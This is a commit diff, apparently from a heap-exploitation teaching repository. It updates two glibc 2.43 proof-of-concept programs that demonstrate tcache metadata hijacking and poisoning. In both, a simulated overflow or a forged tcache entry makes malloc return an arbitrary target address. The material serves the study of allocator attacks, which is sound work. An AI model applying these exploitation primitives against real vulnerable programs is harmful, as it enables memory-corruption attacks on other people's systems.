Skip to content

Commit ca78127

Browse files
committed
fix tcache_metadata related techs
1 parent 8da3fb7 commit ca78127

File tree

2 files changed

+10
-4
lines changed

2 files changed

+10
-4
lines changed

glibc_2.43/tcache_metadata_hijacking.c

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#include <stdio.h>
22
#include <stdlib.h>
33
#include <assert.h>
4+
#include <unistd.h>
45

56
int main()
67
{
@@ -29,9 +30,11 @@ int main()
2930

3031
printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n");
3132
/*Vulnerability*/
32-
chunk[0x420/8+21] = (long)&target[0];
33+
chunk[0x420/8+25] = (long)&target[0];
3334
/*Vulnerability*/
3435

36+
char c; read(0, &c, 1);
37+
3538
void *p2 = malloc(0x10);
3639
printf("Then the next allocation will be at our wanted address: %p\n", p2);
3740
assert(p2 == &target[0]);

glibc_2.43/tcache_metadata_poisoning.c

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
#include <stdint.h>
33
#include <stdio.h>
44
#include <stdlib.h>
5+
#include <unistd.h>
56

67
// Tcache metadata poisoning attack
78
// ================================
@@ -35,23 +36,25 @@ int main() {
3536
"metadata chunk.");
3637
uint64_t *victim = malloc(0x10);
3738
printf("Victim chunk is at: %p.\n\n", victim);
39+
puts("Now freeing it will lead to the allocation of the metadata on heap");
40+
free(victim);
3841

39-
long metadata_size = sizeof(struct tcache_metadata);
40-
long rounded_metadata_size = metadata_size & ~(HEADER_SIZE-1); // round it down
4142
printf("Next we have to calculate the base address of the metadata struct.\n"
4243
"The metadata struct itself is %#lx bytes in size. Additionally we\n"
4344
"have to subtract the header of the victim chunk (so an extra 0x10\n"
4445
"bytes).\n",
4546
sizeof(struct tcache_metadata));
4647
struct tcache_metadata *metadata =
47-
(struct tcache_metadata *)((long)victim - rounded_metadata_size - HEADER_SIZE);
48+
(struct tcache_metadata *)((long)victim + 2*HEADER_SIZE);
4849
printf("The tcache metadata is located at %p.\n\n", metadata);
4950

5051
puts("Now we manipulate the metadata struct and insert the target address\n"
5152
"in a chunk. Here we choose the second tcache bin.\n");
5253
metadata->counts[1] = 6;
5354
metadata->entries[1] = &stack_target;
5455

56+
char c; read(0, &c, 1);
57+
5558
uint64_t *evil = malloc(0x20);
5659
printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
5760
"second tcache bin. The returned pointer is %p.\n",

0 commit comments

Comments
 (0)